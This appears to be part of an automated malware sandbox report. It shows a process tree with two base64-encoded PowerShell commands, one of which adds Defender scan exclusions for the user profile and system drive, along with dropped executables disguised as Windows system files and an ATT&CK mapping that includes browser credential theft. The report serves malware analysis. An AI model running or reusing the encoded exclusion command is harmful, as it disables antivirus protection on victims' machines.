    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAZABmACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHgAbQBxACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZwBnAC8ARgBRADkAWABHAGMAbQBhAHgAawAnACwAJwAnACwAJwBPAEsAJwAsACcASQBuAGYAbwByAG0AYQB0AGkAbwBuACcAKQA8ACMAaQBrAGgAIwA+AA=="
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:5272
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAYgBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbgB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdQBtACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAYwB1ACMAPgA="
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4992
- - C:\Windows\COM Surrogate.exe
    "C:\Windows\COM Surrogate.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:6132
- - C:\Windows\sihost.exe
    "C:\Windows\sihost.exe"
    3⤵
    - Executes dropped EXE
    PID:5764
- - C:\Users\Admin\BootstrapperNew.exe
    "C:\Users\Admin\BootstrapperNew.exe"
    3⤵
    - Executes dropped EXE
    PID:220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=604,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:8
  2⤵
  PID:1168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=136,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=7044 /prefetch:8
  2⤵
  PID:2636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5884,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=5248 /prefetch:8
  2⤵
  PID:2980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6328,i,4236032169411564928,2541502540576662155,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:8
  2⤵
  PID:5840

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:4892

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39fc855 /state1:0x41c64e6d
1⤵
PID:4136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery